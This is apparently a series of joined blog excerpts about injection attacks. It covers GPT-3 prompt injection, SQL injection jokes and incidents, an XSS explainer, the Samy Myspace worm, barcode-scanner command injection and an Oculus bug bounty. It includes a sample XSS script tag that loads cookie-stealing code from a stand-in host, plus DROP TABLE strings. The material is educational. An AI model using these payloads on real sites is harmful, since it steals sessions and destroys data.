What do SQL injection attacks have in common with the nuances of GPT-3 prompting? More than one might think, it turns out.
Many security exploits hinge on getting user-supplied data incorrectly treated as instruction. With that in mind, read on to see [Simon Willison] explain how GPT-3 — a natural-language AI — can be made to act incorrectly via what he’s calling prompt injection attacks.
This all started with a fascinating tweet from [Riley Goodside] demonstrating the ability to exploit GPT-3 prompts with malicious instructions that order the model to behave differently than one would expect.
Sometimes along comes a tech story that diverges from our usual hardware subject matter yet which just begs to be shared with you because we think you will find it interesting and entertaining.
You will no doubt be familiar with the XKCD cartoon number 327, entitled “Exploits of a Mom”, but familiarly referred to as “[Bobby Tables]”. In it a teacher is ringing the mother of little [Robert’); DROP TABLE Students; –], whose name has caused the loss of a year’s student records due to a badly sanitized database input. We’ve all raised a chuckle at it, and the joke has appeared in other places such as an improbably long car license plate designed to erase speeding tickets.
Today we have a new twist on the Bobby Tables gag, for someone has registered a British company with the name “; DROP TABLE “COMPANIES”;– LTD“. Amusingly the people at Companies House have allowed the registration to proceed, so either they get the joke too or they are unaware of the nuances of a basic SQL exploit. It’s likely that if this name leaves Her Majesty’s civil servants with egg on their faces it’ll be swiftly withdrawn, so if that turns out to be the case then at least we’ve preserved it with a screenshot.
Of course, the chances of such a simple and well-known exploit having any effect is minimal. There will always be poor software out there somewhere that contains badly sanitized inputs, but we would hope that a vulnerability more suited to 1996 would be vanishingly rare in 2016.
If by some chance you haven’t encountered it before we’d recommend you read about database input sanitization, someday it may save you from an embarrassing bit of code. Meanwhile we salute the owner and creator of this new company for giving us a laugh, and wish them every success in their venture.
In 2011, a group of hackers known as Lulzsec went on a two month rampage hacking into dozens of websites including those owned by FOX, PBS, the FBI, Sony and many others. The group was eventually caught and questioned in how they were able to pull off so many hacks. It would be revealed that none of the hackers actually knew each other in real life. They didn’t even know each other’s real names. They only spoke in secluded chat rooms tucked away in a dark corner of the internet and knew each other by their aliases – [tFlow], [Sabu], [Topiary], [Kayla], to name a few. Each had their own special skill, and when combined together they were a very effective team of hackers.
It was found that they used 3 primary methods of cracking into websites – SQL injection, cross-site scripting and remote file inclusion. We gave a basic overview of how a SQL injection attack works in the previous article of this series. In this article we’re going to do the same with cross-site scripting, or XSS for short. SQL injection has been called the biggest vulnerability in the history of mankind from a potential data loss perspective. Cross-site scripting comes in as a close second. Let’s take a look at how it works.
Let us suppose that you wanted to sell an Arduino on your favorite buy-and-sell auction website. The first thing to do would be to log into the server. During this process, a cookie from that server would be stored on your computer. Anytime you load the website in your browser, it will send that cookie along with your HTTP request to the server, letting it know that it was you and saving you from having to log in every time you visit. It is this cookie that will become the target of our attack.
You would then open up some type of window that would allow you to type in a description of your Arduino that potential buyers could read. Let’s imagine you say something like:
Arduino Uno in perfect condition. New in Box. $15 plus shipping.
You would save your description and it would be stored on a database in the server. So far, there is nothing out of the ordinary or suspicious about our scenario at all. But let’s take a look at what happens when a potential buyer logs into the server. They’re in need of an Arduino and see your ad that you just posted. What does their browser see when they load your post?
Arduino Uno in perfect condition. <b>New in Box</b>. $15 plus shipping.
Whether you realize it or not, you just ran HTML code (in the form of the bold tags) on their computer, albeit harmless code that does what both the buyer and seller want – to highlight a specific selling point of the product. But what other code can you run? Can you run code that might do something the buyer surely does not want? Code that will run on any and every computer that loads the post? Not only should you be able to see where we’re going with this, you should also be able to see the scope of the problem and just how dangerous it can be.
Now let us imagine a Lulzsec hacker is out scoping for some much needed lulz. He runs across your post and nearly instantly recognizes that you were able to run HTML code on his computer. He then makes a selling ad on the website:
Lot of 25 Raspberry Pi Zeros - New in Box - < script src="http://lulz.com/email_me_your_cookie.js" ></script> - $100, free shipping.
Now as soon as someone opens up the hacker’s ad, the script section will load up the malicious off-site code and steal the victim’s session cookie. Normally, only the website specified in a cookie has access to that cookie. Here, since the malicious code was served from the auction website’s server, the victim’s browser has no problem with sending the auction website’s cookie. Now the hacker can load the cookie into his browser to impersonate the victim, allowing the hacker access to everything his victim has access to.
With a little imagination, you can see just how far you can reach with a cross-site scripting attack. You can envision a more targeted attack with a hacker trying to get inside a large company like Intel by exploiting a flawed competition entry process. The hacker visits the Intel Edison competition entry page and sees that he can run code in the application submission form. He knows someone on the Intel intranet will likely read his application and guesses it will be done via a browser. His XSS attack will run as soon as his entry is opened by the unsuspecting Intel employee.
This kind of attack can be run in any user input that allows containing code to be executed on another computer. Take a comment box for instance. Type in some type of < script >evil</script> into a comment box and it will load on every computer that loads that page. [Samy Kamkar] used a similar technique to pull off his famous Myspace worm as we talked about in the beginning of the previous article in this series. XSS, at one time, could even have been done with images.
Preventing XSS attacks
There are people here that are far more knowledgeable than I on these type of hacking techniques. It was my hope to give the average hardware hacker a basic understanding of XSS and how it works. We welcome comments from those with a more advanced knowledge of cross-site scripting and other website hacking techniques that would help to deepen everyone’s understanding of these important subjects.
As the year of 2005 was drawing to a close, a website known as Myspace was basking in popularity. With millions of users, the site was the most popular social networking site in the world. It was unique in that it let users use HTML code to customize their Myspace page. Most of us, c’mon…admit it….had a Myspace page. The coding part was fun! But not everything was changeable with code. You could only upload up to 12 images and the Relationship Status drop-down menu only had a few options to choose from. These limitations did not sit well with [Samy Kamkar], a 19 year old hacker out of Los Angeles.
It didn’t take [Samy] long to figure out how to trick the site to let him upload more images and change his relationship status to a customized “in a hot relationship”. After hoodwinking the Myspace site with some simple hacks, he realized he could do just about anything he wanted to with it. And this is where things get interesting. It took just over a week to develop a script that would force people who visited his page to add him as a friend. But that wasn’t enough. He then programmed the script to copy itself onto the visitor’s page. [Samy] had developed a self-propagating worm.
The script went live as [Samy] went to bed. He woke up the next morning with 200 friends requests. An hour later the number had doubled. [Samy] got worried and sent an anonymous email to the webmaster warning of the worm. It was ignored. By 1:30PM that day, he had over 6,000 friends request. And like any good hacker worth his weight in floppy drives, his sense of humor had him program the script to also add his name to each visitor’s Heroes List. This angered many people, who deleted him from their page, only to get reinfected moments later when they visited another (infected) page.
[Samy’s] script was raging out of control. As the evening closed in, his friends count had reached 919,664. It would top the 1 million mark just before Myspace took their servers offline to figure out what was going on. Two hours later, the site was back up. [Samy’s] profile page had been deleted.
[Samy] had used a technique known as cross-site scripting (XSS) to pull off his hack. We’ll touch on XSS in a later article. For now, we’re going to stick to the basics – proper passwords and SQL Injection.
The trick is that many POS terminals and barcode readers support command characters in their programming modes. Through use of these Advanced Data Formatting (ADF) modes, [virustracker] sends Windows-Key-r, and then cmd.exe, ftps a file down, and runs it. Whatever computer is on the other side of the barcode scanner has just been owned. ADF even supports a delay function to allow time for the command window to pop up before running the rest of the input.
The article details how they got their payload from requiring more than ten individual barcodes down to four. Still, it’s a suspicious-looking attack to try to pull off where other people (think cashiers) are looking. However, we have many automated machines in our everyday life that use barcodes. How many of these are vulnerable is an open question. [virustracker] suggests lottery machines, package-delivery automats, and even hospitals.
The defense is simple, and it’s the same as everywhere else: disable the debug and configuration modes in your production systems, and sanitize your input. Yes, even the barcodes.
One of the hackers over at Bitquark popped a shell on on the Oculus Developer Portal giving him full reign over the special admin panel inside. If he felt so inclined, this allowed him edit users, modify projects, add news articles, edit the dashboard, upload SDK files, and variety of other goodies.
The process started by using a SQL injector called BSQLi to test out parameters, cookies, and headers. Injecting into the header revealed that the Oculus team members were inserting X-Forwarded-For headers directly into the database without proper escape formatting. This got him in the door, and with a little assistance from sqlmap, the database was enumerated, and a pattern was recognized. Oculus passwords that were stored in the DB were heavily hashed. However, the user session variables remained unprotected. A SQL query was quickly built, the latest admin session was promptly extracted, and then the information was plugged in granting access to the portal. A bit more snooping around uncovered that the AJAX eval() preview script wasn’t secured by a CSRF token which could easily be exploited by a malicious hacker.
The findings were then turned into Facebook who paid the guy $15,000 for the first vulnerability plus the privilege escalation attack. $5,000 was then awarded for each subsequent SQL injection as the admin account takeover vulnerability that was found, giving the guy a nice payout for a week’s worth of work.
Typical speed camera traps have built-in OCR software that is used to recognize license plates. A clever hacker decided to see if he could defeat the system by using SQL Injection…
The basic premise of this hack is that the hacker has created a simple SQL statement which will hopefully cause the database to delete any record of his license plate. Or so he (she?) hopes. Talk about getting off scot-free!
The reason this works (or could work?) is because while you would think a traffic camera is only taught to recognize the license plate characters, the developers of the third-party image recognition software simply digitize the entire thing — recognizing any and all of the characters present. While it’s certainly clever, we’re pretty sure you’ll still get pulled over and questioned — but at least it’s not as extreme as building a flashbulb array to blind traffic cameras…
What do you guys think? Did it work? This image has been floating around the net for a few years now — if anyone knows the original story let us know!